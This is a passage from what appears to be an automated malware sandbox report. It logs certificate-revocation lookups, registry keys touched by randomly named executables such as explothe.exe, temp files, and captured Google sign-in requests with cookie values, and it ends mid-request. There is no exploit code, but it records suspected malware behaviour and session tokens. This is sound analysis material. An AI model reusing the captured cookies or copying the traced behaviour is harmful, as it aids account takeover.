/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 1826 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Mon 30 Oct 2023 01:33:37 GMT Last-Modified: Mon 30 Oct 2023 01:03:11 GMT Server: ECAcc (sac/254A) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA2160414B13EC36903F8BF4701D498261A0802EF63642BC3180F32....... "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEkpLy9ROx7U76vGUhC06D6E%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.rootca1.amazontrust.com" Response ==> HTTP/1.1 200 OK Content-Type: application/ocsp-response Content-Length: 1426 Connection: keep-alive Date: Mon 30 Oct 2023 00:43:35 GMT Last-Modified: Mon 30 Oct 2023 00:43:35 GMT ETag: 0f5d40c47a1abead06fb728f0c75bc283e5ed484 Expires: Mon 06 Nov 2023 00:43:35 GMT Cache-Control: max-age=302400 public no-transform must-revalidate Server: with response body ==>....... "GET /rootca1.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.rootca1.amazontrust.com" Response ==> HTTP/1.1 200 OK Content-Type: application/pkix-crl Content-Length: 651 Connection: keep-alive Date: Thu 25 May 2023 00:31:00 GMT Last-Modified: Thu 25 May 2023 00:16:34 GMT ETag: "9058c82ab542b2701eb78e0a4e482593" x-amz-server-side-encryption: AES256 Cache-Control: public Expires: Mon 20 May 2024 20:13:06 GMT x-amz-version-id: jp0NT7VkGOm4vGsuA2lczqulWP4uBCNG Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 4aba7ea5aadcfe6838cddf2c73cd245a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: SFO53-P4 X-Amz-Cf-Id: -27NtoNWCBhUHhYPoMjXX8T9mSYBqBkVQ6rRYBFFGPAOQ3tfZB47MA== Age: 13654959 with response body ==>....... "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBSLwZ6EW5gdYc9UaSEaaLjjETNtkAQUv1%2B30c7dH4b0W1Ws3NcQwg6piOcCCQCnDkpMNIK3fw%3D%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: o.ss2.us" Response ==> HTTP/1.1 200 OK Content-Type: application/ocsp-response Content-Length: 2065 Connection: keep-alive Server: Sucuri/Cloudproxy Date: Sun 29 Oct 2023 22:29:09 GMT X-Sucuri-ID: 11036 Content-Transfer-Encoding: Binary Cache-Control: public no-transform must-revalidate Last-Modified: Sun 29 Oct 2023 19:54:44 GMT Expires: Mon 30 Oct 2023 19:54:44 GMT ETag: "1549b83b8e11f781822ef79c7a44e202c11d093d" P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Sucuri-Cache: HIT X-Cache: Hit from cloudfront Via: 1.1 ec53ea7490128507417199834543513a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: SFO5-C1 X-Amz-Cf-Id: aRxDe35wcSLTkHtrj9rs8NT6P1c_FFULvgNh0n7CBEG7joE29dYyFA== Age: 11070 with response body ==>....... "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.rootg2.amazontrust.com" Response ==> HTTP/1.1 200 OK Content-Type: application/ocsp-response Content-Length: 1548 Connection: keep-alive Date: Mon 30 Oct 2023 00:41:06 GMT Last-Modified: Mon 30 Oct 2023 00:41:06 GMT ETag: 1312b4a4213b43b8c7df77f3d05ae1c3d75ce99f Expires: Mon 06 Nov 2023 00:41:06 GMT Cache-Control: max-age=302400 public no-transform must-revalidate Server: with response body ==>....... "GET /r.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: s.ss2.us" Response ==> HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Length: 486 Connection: keep-alive Last-Modified: Fri 06 Oct 2023 12:55:23 GMT x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Server: AmazonS3 Date: Sun 29 Oct 2023 21:42:10 GMT ETag: "a8fb889989c036b9c5f50300861d295c" X-Cache: Hit from cloudfront Via: 1.1 2ac6b2644462a8466362b046856a127e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: SFO5-C3 X-Amz-Cf-Id: Nb5VRfku-jh7RapUlkK68LviBzZiGMMOLrjwDABLMkBNBDht7Kg-iw== Age: 13891 with response body ==>....... "GET /r2m02.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.r2m02.amazontrust.com" Response ==> HTTP/1.1 200 OK Content-Type: application/pkix-crl Content-Length: 438839 Connection: keep-alive Accept-Ranges: bytes Last-Modified: Sun 29 Oct 2023 16:15:15 GMT Server: nginx Cache-Control: max-age=7200 Cache-Control: public Date: Mon 30 Oct 2023 00:47:37 GMT Expires: Mon 30 Oct 2023 02:47:37 GMT ETag: "653e8513-6b237" X-Cache: Hit from cloudfront Via: 1.1 d88d2cf20afcf2a8dddbd9985a49d952.cloudfront.net (CloudFront) X-Amz-Cf-Pop: SFO53-P6 X-Amz-Cf-Id: waq7d9JDbevzf4a6Gv1W7_xsjfEOINNlZI8MF-dctNi3CcrE65ablg== Age: 2763 with response body ==>....... "GET /rootg2.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.rootg2.amazontrust.com" Response ==> HTTP/1.1 200 OK Content-Type: application/pkix-crl Content-Length: 713 Connection: keep-alive Date: Thu 28 Sep 2023 20:51:25 GMT Last-Modified: Thu 25 May 2023 00:16:41 GMT ETag: "17529b3e2cbd518730e68190e9f121a9" x-amz-server-side-encryption: AES256 Cache-Control: public Expires: Mon 20 May 2024 20:17:36 GMT x-amz-version-id: mXKxEiey0eSLSed3QQI7ZgcwL3M2RGWn Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 d0db17ab565101172c4057aabc1a1086.cloudfront.net (CloudFront) X-Amz-Cf-Pop: SFO53-P4 X-Amz-Cf-Id: _1AUmF-HFKEJtWE0itR_25v6LEwMo4suYqegOj_oyq50yN-HEghrTA== Age: 2695337 with response body ==>....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRmbQtwnInkvkvr7BNFR%2BS2lTYPjAQUwDFSzVpQw4J8dHHOy%2Bmc%2BXrrguICEAxnRZO2jQMmUC0dFSq96X0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.r2m02.amazontrust.com" Response ==> HTTP/1.1 200 OK Content-Type: application/ocsp-response Content-Length: 471 Connection: keep-alive Cache-Control: max-age=7200 Date: Mon 30 Oct 2023 01:03:02 GMT Server: ECAcc (sac/257E) X-Cache: Hit from cloudfront Via: 1.1 1a201df35abe730337e131d797c8f688.cloudfront.net (CloudFront) X-Amz-Cf-Pop: SFO53-P3 X-Amz-Cf-Id: Y6d892ZZAgyWXpPg5Xx_rDD-GVO9ChI93YM2Yi-hKd7lV4WhmN4ZXA== Age: 1839 with response body ==>....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAx5qUSwjBGVIJJhX%2BJrHYM%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 1766 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Mon 30 Oct 2023 01:33:42 GMT Last-Modified: Mon 30 Oct 2023 01:04:16 GMT Server: ECAcc (sac/2507) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA2160414B13EC36903F8BF4701D498261A0802EF63642BC3180F32....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQCXtQEEuMx0gAkkEcVQ5Vat HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Mon 30 Oct 2023 00:41:23 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 3142 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32.......67:T17b3,"AppLaunch.exe" touched "NetworkListManager" (Path: "HKCU\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}") "AppLaunch.exe" touched "Network List Manager" (Path: "HKCU\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}") "AppLaunch.exe" touched "PSFactoryBuffer" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}") "4wt454Ls.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}") "4wt454Ls.exe" touched "Task Bar Communication" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{56FDF344-FD6D-11D0-958A-006097C9A090}") "4wt454Ls.exe" touched "Internet Explorer(Ver 1.0)" (Path: "HKCU\CLSID\{0002DF01-0000-0000-C000-000000000046}\TREATAS") "4wt454Ls.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "4wt454Ls.exe" touched "Shockwave Flash Object" (Path: "HKCU\CLSID\{D27CDB6E-AE6D-11CF-96B8-444553540000}\INPROCSERVER32") "AppLaunch.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32") "5bF4ZE9.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "5bF4ZE9.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "5bF4ZE9.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}") "5bF4ZE9.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\SHELLFOLDER") "5bF4ZE9.exe" touched "Shell File System Folder" (Path: "HKCU\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "explothe.exe" touched "WinInetBroker Class" (Path: "HKCU\CLSID\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}") "explothe.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "explothe.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "explothe.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "explothe.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "explothe.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "explothe.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "explothe.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "explothe.exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") "explothe.exe" touched "Public Folder" (Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "explothe.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "explothe.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "explothe.exe" touched "DXP" (Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "explothe.exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "explothe.exe" touched "Windows Search Service Media Center Namespace Extension Handler" (Path: "HKCU\CLSID\{98D99750-0B8A-4C59-9151-589053683D73}\SHELLFOLDER") "explothe.exe" touched "Other Users Folder" (Path: "HKCU\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "explothe.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "explothe.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "explothe.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "explothe.exe" touched "Games Explorer" (Path: "HKCU\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "explothe.exe" touched "Computers and Devices" (Path: "HKCU\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "explothe.exe" touched "Sticky Notes Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{F3F5824C-AD58-4728-AF59-A1EBE3392799}\SHELLFOLDER") "7jw3kC52.exe" touched "Microsoft WBEM Call Context" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}") "7jw3kC52.exe" touched "WbemDefaultPathParser" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}") "7jw3kC52.exe" touched "WDM Instance Provider" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{D2D588B5-D081-11D0-99E0-00C04FC2F8EC}\INPROCSERVER32") "7jw3kC52.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "7jw3kC52.exe" touched "WbemQuery" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{EAC8A024-21E2-4523-AD73-A71A0AA2F56A}\TREATAS") "7jw3kC52.exe" touched "Microsoft WBEM _IWmiCallSec Call Security Factory" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{1108BE51-F58A-4CDA-BB99-7A0227D11D5E}\TREATAS") "7jw3kC52.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LOCALSERVER32") "7jw3kC52.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "7jw3kC52.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "7jw3kC52.exe" touched "Microsoft WMI Provider Subsystem Host" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{73E709EA-5D93-4B2E-BBB0-99B7938DA9E4}\TREATAS") "cmd.exe" touched "Application Registration" (Path: "HKCU\CLSID\{591209C7-767B-42B2-9FBA-44EE4615F2C7}\TREATAS")68:T6c8,"Tar2FF7.tmp" has type "data" - Location: [%TEMP%\Tar2FF7.tmp] "Cab2FF6.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression" - Location: [%TEMP%\Cab2FF6.tmp] "~DF39415EB6209F6C2A.TMP" has type "data" "~DFAFE6DC4CA4FBF430.TMP" has type "data" "~DF3C7611D2426729A3.TMP" has type "data" - Location: [%TEMP%\~DF3C7611D2426729A3.TMP] "~DF467DBCC7AEC33879.TMP" has type "data" "~DF20D145297088D640.TMP" has type "data" "~DF5EE61302B3231A5A.TMP" has type "data" "~DF61B43EFF91074850.TMP" has type "data" - Location: [%TEMP%\~DF61B43EFF91074850.TMP] "~DFB898CE0C2E63AF4A.TMP" has type "data" - Location: [%TEMP%\~DFB898CE0C2E63AF4A.TMP] "~DFFD000B09AD468538.TMP" has type "data" - Location: [%TEMP%\~DFFD000B09AD468538.TMP] "~DF3112E61AEBB5E8F9.TMP" has type "data" "~DF03E9A3D1A8C3EEC0.TMP" has type "data" "~DFBC134F7E76FE9A99.TMP" has type "data" - Location: [%TEMP%\~DFBC134F7E76FE9A99.TMP] "~DF8D746E5073028993.TMP" has type "data" "~DFF3D4B8B58D575A1A.TMP" has type "data" - Location: [%TEMP%\~DFF3D4B8B58D575A1A.TMP] "~DF738F3268B0C81DD2.TMP" has type "data" - Location: [%TEMP%\~DF738F3268B0C81DD2.TMP] "~DFB85A69C431B2187D.TMP" has type "data" - Location: [%TEMP%\~DFB85A69C431B2187D.TMP] "~DF89D86325BEB691E6.TMP" has type "data" "~DFDB3A69ACD9B92A48.TMP" has type "data" "~DFCBCA151FDCFCAF1D.TMP" has type "data" "~DF8F7310B85205FEF5.TMP" has type "data" "Tar3420.tmp" has type "data" - Location: [%TEMP%\Tar3420.tmp] "Cab340F.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression" - Location: [%TEMP%\Cab340F.tmp]69:T4924,Found requests in header "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:mYjxgzoo5ZwN-JGsuOhAdRQIByLCKQ:hdXdKJOZwmiAL1hfConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyxhNR4ukFhRMM_h33BB-kkSnEAVP8jhMmgmOE0cSnsxX4XNivFLMrIiWc4fqjx-rPh3GuZcgQ HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:raw_doxkoE_Lmcw-xDdMVTUjD7ggag:PLwwqox9G4bg6LO7Connection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyz_ScPabiSrMqQ1mLblRieA0aKHsKtyaocVW_zvz4VkdyRN0M8iiYRSUgvN7trR5Ru8z1ORfw&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1275196978%3A1698629582810228&theme=glif HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:raw_doxkoE_Lmcw-xDdMVTUjD7ggag:PLwwqox9G4bg6LO7Connection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:mywYrfpwuyXX3838Hl3q1juW03UDjA:xuD75dxwYlxaPX2H"; in File: "SSL") Found requests in header "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:uKWXqxrP8WrToiL2Tp-Lc3qnL1Gbwg:H0vFxFxF2ISlHXIB"; in File: "SSL") Found requests in header "GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyyjtOeXogOht8TmPITUolnISo1q9GSUbtD_y950FJLGHQtPsag7HcavaPqWAEzjcBoxnTCq HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comCookie: __Host-GAPS=1:tW4TXI7Tt0edjedddxg-RuvboX7v_g:sfKCIrYGaRUjfSDNConnection: Keep-AliveDNT: 1"; in File: "SSL") Found requests in header "GET /v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeywbMZDtRkyTn-WDU51DBCnB7NSm3s-YdMPRK2_D5PQjdvxaFIo5uMcE5yVGuypw2voTYlLaxA&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1862237909%3A1698629623566473&theme=glif HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comConnection: Keep-AliveDNT: 1Cookie: __Host-GAPS=1:BzKFNvAmNJm63G3Zk4UGFTWwNyyS4w:sj94B4ew04RXhE6z"; in File: "SSL") Found requests in header "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:C9-o_dnnB5Y-KKplnWLdEQNRfZbcNw:ct-OXmlRFbNMkNuV"; in File: "SSL") Found requests in header "GET /_/bscframe HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:C9-o_dnnB5Y-KKplnWLdEQNRfZbcNw:ct-OXmlRFbNMkNuV"; in File: "SSL") Found requests in header "POST /v3/signin/_/AccountsSignInUi/data/batchexecute?rpcids=UEkKwb&source-path=%2Fv3%2Fsignin%2Fidentifier&f.sid=-7176063649778968512&bl=boq_identityfrontendauthuiserver_20231022.06_p0&hl=en-US&_reqid=47622&rt=c HTTP/1.1Accept: */*X-Same-Domain: 1x-goog-ext-278367001-jspb: ["GlifWebSignIn"]x-goog-ext-391502476-jspb: ["S1275196978:1698629582810228",null,null,"AVQVeyz_ScPabiSrMqQ1mLblRieA0aKHsKtyaocVW_zvz4VkdyRN0M8iiYRSUgvN7trR5Ru8z1ORfw"]Content-Type: application/x-www-form-urlencoded;charset=utf-8Referer: https://accounts.google.com/Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comContent-Length: 165DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: __Host-GAPS=1:C9-o_dnnB5Y-KKplnWLdEQNRfZbcNw:ct-OXmlRFbNMkNuV"; in File: "SSL") Found requests in header "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:2g-RTs2oBXNbRbC0mgYhOAI5pZJfCw:2k6xac7MeOxTMKj4"; in File: "SSL") Found requests in header "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:rJxP1ziX-AR2OA6-EbY93j22LCLSfg:HOiNRTg1_ahU_Jq6"; in File: "SSL") Found requests in header "GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyxIS-A3Sc39vXPMKLZAtcty_C3VankiWUqGQDfmnVv4E-uFUgcyE7Vg5lle1sxfg7yqhQ_F HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comCookie: __Host-GAPS=1:lwn--R_1MpnDMMc5sKWl-sMi46qcgg:1a-_tDKi_FXA8BxtConnection: Keep-AliveDNT: 1"; in File: "SSL") Found requests in header "GET /v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyx4ERGKnsSwDXOb2faxcX3A_x3gEEb084C7AX0l04tXgWu5MJupPmd0N5zeJryCVhfeUsaEuw&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1560908752%3A1698629674606532&theme=glif HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comConnection: Keep-AliveDNT: 1Cookie: __Host-GAPS=1:n4z5_o9Q1W9KiyfEUrF0DRkRhquWRw:3aS-ewVGljO8x5TU"; in File: "SSL") Found requests in header "GET /generate_204?Zc_8Aw HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:rl5FpyAJjLqbKi4MYzR1R9BCTC6gXQ:GDX-s_eA0EP90GrC"; in File: "SSL") Found requests in header "POST /v3/signin/_/AccountsSignInUi/data/batchexecute?rpcids=UEkKwb&source-path=%2Fv3%2Fsignin%2Fidentifier&f.sid=-1680609893833465111&bl=boq_identityfrontendauthuiserver_20231022.06_p0&hl=en-US&_reqid=52640&rt=c HTTP/1.1Accept: */*X-Same-Domain: 1x-goog-ext-278367001-jspb: ["GlifWebSignIn"]x-goog-ext-391502476-jspb: ["S-1862237909:1698629623566473",null,null,"AVQVeywbMZDtRkyTn-WDU51DBCnB7NSm3s-YdMPRK2_D5PQjdvxaFIo5uMcE5yVGuypw2voTYlLaxA"]Content-Type: application/x-www-form-urlencoded;charset=utf-8Referer: https://accounts.google.com/Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: 